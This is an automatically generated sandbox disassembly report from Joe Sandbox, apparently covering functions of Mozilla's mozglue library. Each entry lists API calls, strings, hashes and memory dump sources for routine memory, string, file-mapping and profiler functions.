Opcode ID: 995b5d0a792107862606ce57a3a2973f523cc3dde228ae181e2d38aba8d767a2
Instruction ID: 0642fa5ee89d842fa78061a40e3942305220843dc200d5857dc7f350ac5ccb19
Opcode Fuzzy Hash: 995b5d0a792107862606ce57a3a2973f523cc3dde228ae181e2d38aba8d767a2
Instruction Fuzzy Hash: BF21ADB5701504ABEB00FF24D848EAA7779EF9626DF348224F81897741DB359816CBE1

Function 6C408ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C3CEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3CEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C40B392,?,?,00000001), ref: 6C4091F4

Part of subcall function 6C3FCBE8: GetCurrentProcess.KERNEL32(?,6C3C31A7), ref: 6C3FCBF1
Part of subcall function 6C3FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C3C31A7), ref: 6C3FCBFA

Strings

timeline-fileio, xrefs: 6C4090A4
marker-chart, xrefs: 6C40905E
timeline-memory, xrefs: 6C409088
timeline-ipc, xrefs: 6C409096
timeline-overview, xrefs: 6C40907A
stack-chart, xrefs: 6C4090B2
marker-table, xrefs: 6C40906C
data, xrefs: 6C4090E8
name, xrefs: 6C408F16

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 68a48ad3fc2dbc488cf76f78a55fd03f56401032ea4eba58ce9806f25630b4c7
Instruction ID: 722a24fe3bade91e1b44427bbd1182806e41b8497fab5ea86986831908018a69
Opcode Fuzzy Hash: 68a48ad3fc2dbc488cf76f78a55fd03f56401032ea4eba58ce9806f25630b4c7
Instruction Fuzzy Hash: 82B1B2B1B112099BEB04CF95C496FAEBBB5EF98308F204429D505ABF80D772A945CBD1

Function 6C3EC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C3EC5A3
WideCharToMultiByte.KERNEL32 ref: 6C3EC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C3EC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C3ECA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C3ECA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C3ECAA5

Strings

(null), xrefs: 6C3EC596
0, xrefs: 6C3ED30A

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: f40e650631a650e1cbc33d7943f2df47981046eb7c839c940cb50c5dfd700193
Instruction ID: 14ad4f2865793e20d6665734528f3a90606867d5669d11d43231e101457df73a
Opcode Fuzzy Hash: f40e650631a650e1cbc33d7943f2df47981046eb7c839c940cb50c5dfd700193
Instruction Fuzzy Hash: 5DA19B306083628FDB00EF28D554B5EBBF5AFC9748F14892EE89997641D732D805CF92

Function 6C3EC769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C3EC784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C3EC801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C3EC83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C3EC891

Strings

NAN, xrefs: 6C3EC7AD
INF, xrefs: 6C3EC794
inf, xrefs: 6C3EC78F
nan, xrefs: 6C3EC7A8

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 2ed3043c9e1a2ee948fef1e4d8cd68663d070c869b6a918f80c6e2d52276a9cc
Instruction ID: a55b834bfd5ce01a07c53f76e3130e63f19b7b2063810c33c6b7b968050e00d7
Opcode Fuzzy Hash: 2ed3043c9e1a2ee948fef1e4d8cd68663d070c869b6a918f80c6e2d52276a9cc
Instruction Fuzzy Hash: ED516D30A087908BD700EF68D58169EFBF4BF9E308F008A2DE9D5A7650E771D9858F52

Function 6C3C3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C3C3284,?,?,6C3E56F6), ref: 6C3C3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C3C3284,?,?,6C3E56F6), ref: 6C3C34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C3C3284,?,?,6C3E56F6), ref: 6C3C34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C3C350E
__Init_thread_footer.LIBCMT ref: 6C3C3522
__aulldiv.LIBCMT ref: 6C3C3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C3C3284,?,?,6C3E56F6), ref: 6C3C357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C3C3284,?,?,6C3E56F6), ref: 6C3C3592

Part of subcall function 6C3FAB89: EnterCriticalSection.KERNEL32(6C44E370,?,?,?,6C3C34DE,6C44F6CC,?,?,?,?,?,?,?,6C3C3284), ref: 6C3FAB94
Part of subcall function 6C3FAB89: LeaveCriticalSection.KERNEL32(6C44E370,?,6C3C34DE,6C44F6CC,?,?,?,?,?,?,?,6C3C3284,?,?,6C3E56F6), ref: 6C3FABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C3C3508
kernel32.dll, xrefs: 6C3C34EA

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 3bbed02ccd576688d1896b58b2160cce41ebc217b2abef336102541c78ae6bcc
Instruction ID: 87b5e4a2310082c6ba71df03c56b235d113ec35dae3b95d7efa0b43d94d3bf77
Opcode Fuzzy Hash: 3bbed02ccd576688d1896b58b2160cce41ebc217b2abef336102541c78ae6bcc
Instruction Fuzzy Hash: 3C31A475B012459BEF00FFB5C848EAE7779FB45309F308419E51593650EB70A906CF61

Function 6C3C4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C404843,?), ref: 6C3C45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C404843,?), ref: 6C3C468A
free.MOZGLUE(?,?,?,?,?,?,6C404843,?), ref: 6C3C46C9
free.MOZGLUE(?), ref: 6C3C46EF
free.MOZGLUE(?), ref: 6C3C4712
free.MOZGLUE(?), ref: 6C3C4735
free.MOZGLUE(?), ref: 6C3C4758
free.MOZGLUE(?), ref: 6C3C477B
free.MOZGLUE(?), ref: 6C3C479E

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: d09b53e38cdaa46be5ca914839fdd32daa6edc30ccf5bc6d810730abc1c19c0a
Instruction ID: ceb9420cdf1b61de71c00dfc7704887a9edd97a71a45eb9fe9c877e86b96d713
Opcode Fuzzy Hash: d09b53e38cdaa46be5ca914839fdd32daa6edc30ccf5bc6d810730abc1c19c0a
Instruction Fuzzy Hash: ECB1D372B002118FDB18DE2CD8D077D76B6AF45328F184669E866DBB86D7329C508F93

Function 6C42AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C42AC52
CreateFileMappingW.KERNEL32 ref: 6C42AC7D
GetSystemInfo.KERNEL32 ref: 6C42AC98
MapViewOfFile.KERNEL32 ref: 6C42ACB0
GetSystemInfo.KERNEL32 ref: 6C42ACCD
MapViewOfFile.KERNEL32 ref: 6C42AD05
UnmapViewOfFile.KERNEL32 ref: 6C42AD1C
CloseHandle.KERNEL32 ref: 6C42AD28
UnmapViewOfFile.KERNEL32 ref: 6C42AD37
CloseHandle.KERNEL32 ref: 6C42AD43
CloseHandle.KERNEL32 ref: 6C42AD67

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 49902bcf3f501565552e2c724e1a568d0f16545187af3bc5451e63e4d5ef1fa6
Instruction ID: 45452586fbea9d88d3c1fa8375f7d7bc8b88701ec1fe48d89eca8682826bcd2d
Opcode Fuzzy Hash: 49902bcf3f501565552e2c724e1a568d0f16545187af3bc5451e63e4d5ef1fa6
Instruction Fuzzy Hash: 7E314DB19047048FDB00FF7DD649A6EBBF1FF85309F218929E99986251EB749448CB82

Function 6C3D9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C3D9675
__Init_thread_footer.LIBCMT ref: 6C3D9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C3D96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C3D9707
__Init_thread_footer.LIBCMT ref: 6C3D971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C3D9773

Part of subcall function 6C3FAB89: EnterCriticalSection.KERNEL32(6C44E370,?,?,?,6C3C34DE,6C44F6CC,?,?,?,?,?,?,?,6C3C3284), ref: 6C3FAB94
Part of subcall function 6C3FAB89: LeaveCriticalSection.KERNEL32(6C44E370,?,6C3C34DE,6C44F6CC,?,?,?,?,?,?,?,6C3C3284,?,?,6C3E56F6), ref: 6C3FABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C3D97B7
FreeLibrary.KERNEL32 ref: 6C3D97D0
FreeLibrary.KERNEL32 ref: 6C3D97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C3D9824

Strings

ntdll.dll, xrefs: 6C3D96E3
NtMapViewOfSection, xrefs: 6C3D9701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C3D9670
MapViewOfFileNuma2, xrefs: 6C3D97B1

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: d598bdefbde2f8ed288927e767bd53c91f3922fc24cbf17b74c7a6101fd58b8f
Instruction ID: 8956b160f7e7edd34fab1702177678c2314a15caa14da41a451e95b1daaeb09d
Opcode Fuzzy Hash: d598bdefbde2f8ed288927e767bd53c91f3922fc24cbf17b74c7a6101fd58b8f
Instruction Fuzzy Hash: 9141D0B5A013019BEF00FFA5D994E8A7BB4EB4932DF218528ED1587740DB34A805CFA1

Function 6C410000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C409420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C3D4A68), ref: 6C40945E
Part of subcall function 6C409420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C409470
Part of subcall function 6C409420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C409482
Part of subcall function 6C409420: __Init_thread_footer.LIBCMT ref: 6C40949F

GetCurrentThreadId.KERNEL32 ref: 6C410039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C410041
GetCurrentThreadId.KERNEL32 ref: 6C410075
AcquireSRWLockExclusive.KERNEL32(6C44F4B8), ref: 6C410082
moz_xmalloc.MOZGLUE(00000048), ref: 6C410090
free.MOZGLUE(?), ref: 6C410104
ReleaseSRWLockExclusive.KERNEL32(6C44F4B8), ref: 6C41011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C41005B

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: c51af849e3ac882e24e30b8d8fcc1292789dd71dfbaded754982d9ae8eb162fa
Instruction ID: 52d7addaef7729fe50625aefa574759095a683a88e4fa4f4f40514102c7dc648
Opcode Fuzzy Hash: c51af849e3ac882e24e30b8d8fcc1292789dd71dfbaded754982d9ae8eb162fa
Instruction Fuzzy Hash: AD41B3B56056549FDB10EF24D840E9ABBF0FF59318F60851EE99A83B40DB31A815CF91

Function 6C3D7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C3D7EA7
malloc.MOZGLUE(00000001), ref: 6C3D7EB3

Part of subcall function 6C3DCAB0: EnterCriticalSection.KERNEL32(?), ref: 6C3DCB49
Part of subcall function 6C3DCAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C3DCBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C3D7EC4
mozalloc_abort.MOZGLUE(?), ref: 6C3D7F19
malloc.MOZGLUE(?), ref: 6C3D7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C3D7F4D

Strings

d, xrefs: 6C3D7F89

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: bb6e2b5eb3a7e2b0ba63d911529f7784d4a7931edee877f8433d393cb1e074ee
Instruction ID: 4141e211b8f1dcccd8c9158864e7dd2b0e8ad2b48e018e8712ff87c366c21892
Opcode Fuzzy Hash: bb6e2b5eb3a7e2b0ba63d911529f7784d4a7931edee877f8433d393cb1e074ee
Instruction Fuzzy Hash: C9314862E1035897EB01EB69DC449FEB778EF9620CF059628EC495B212FB31B5C8C791

Function 6C3D3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 6C3D3EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C3D3FDC
RtlAllocateHeap.NTDLL ref: 6C3D4006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C3D40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C3D3CCC), ref: 6C3D40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C3D3CCC), ref: 6C3D40C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C3D4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C3D3CCC), ref: 6C3D4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C3D3CCC), ref: 6C3D4157

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 31e8d3414b8fd7a92c4568cc359daffc95a6ac72e88121c8e3b7de9dc1e6cb4e
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 36A181B2A00215CFDB40CF69C880A99B7B9FF48318F264559D909AF742D772EC46CFA1

Function 6C3C2030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C3E3F47,?,?,?,6C3E3F47,6C3E1A70,?), ref: 6C3C207F
memset.VCRUNTIME140(?,000000E5,6C3E3F47,?,6C3E3F47,6C3E1A70,?), ref: 6C3C20DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C3E3F47,6C3E1A70,?), ref: 6C3C211A
EnterCriticalSection.KERNEL32(6C44E744,?,6C3E3F47,6C3E1A70,?), ref: 6C3C2145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C3E3F47,6C3E1A70,?), ref: 6C3C21BA
EnterCriticalSection.KERNEL32(6C44E744,?,6C3E3F47,6C3E1A70,?), ref: 6C3C21E0
LeaveCriticalSection.KERNEL32(6C44E744,?,6C3E3F47,6C3E1A70,?), ref: 6C3C2232

Strings

MOZ_CRASH(), xrefs: 6C3C227D
MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C3C2253, 6C3C2268

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 41315ad242405563cadbe63ecf58dd7a86b1a4be6c7b6d048867f9597157ebb1
Instruction ID: 6b8399d0f6cf7dcce96f8a9653eed25a12a37db73f9c827de2e55cf8384aa5be
Opcode Fuzzy Hash: 41315ad242405563cadbe63ecf58dd7a86b1a4be6c7b6d048867f9597157ebb1
Instruction Fuzzy Hash: 5761C531F002168FDB04DB68CA89B6E76B5EF85328F259139E524A7A94D7729C00CF92

Function 6C419D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C418273), ref: 6C419D65
free.MOZGLUE(6C418273,?), ref: 6C419D7C
free.MOZGLUE(?,?), ref: 6C419D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C419E0F
free.MOZGLUE(6C41946B,?,?), ref: 6C419E24
free.MOZGLUE(?,?,?), ref: 6C419E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C419EC8
free.MOZGLUE(6C41946B,?,?,?), ref: 6C419EDF
free.MOZGLUE(?,?,?,?), ref: 6C419EF5

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 06d5257248a1db1c4eb4b1e2669c210b356a58092f896efa33a603646d79d7ab
Instruction ID: cc6e6753985e93acb5bb8a82c0df76f0cdca3218346ef6f906d57a509cb235d3
Opcode Fuzzy Hash: 06d5257248a1db1c4eb4b1e2669c210b356a58092f896efa33a603646d79d7ab
Instruction Fuzzy Hash: 49719170909B418BD712CF18C4409ABF3F5FFA9315B44965DE8DA5BB01EB31E885CB81

Function 6C41DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C41DDCF

Part of subcall function 6C3FFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C3FFA4B

Part of subcall function 6C4190E0: free.MOZGLUE(?,00000000,?,?,6C41DEDB), ref: 6C4190FF
Part of subcall function 6C4190E0: free.MOZGLUE(?,00000000,?,?,6C41DEDB), ref: 6C419108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C41DE0D
free.MOZGLUE(00000000), ref: 6C41DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C41DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C41DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C41DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C40DEFD,?,6C3D4A68), ref: 6C41DF32

Part of subcall function 6C41DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C41DB86
Part of subcall function 6C41DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C41DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C40DEFD,?,6C3D4A68), ref: 6C41DF65
free.MOZGLUE(?), ref: 6C41DF80

Part of subcall function 6C3E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C3E5EDB
Part of subcall function 6C3E5E90: memset.VCRUNTIME140(ewBl,000000E5,?), ref: 6C3E5F27
Part of subcall function 6C3E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C3E5FB2

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

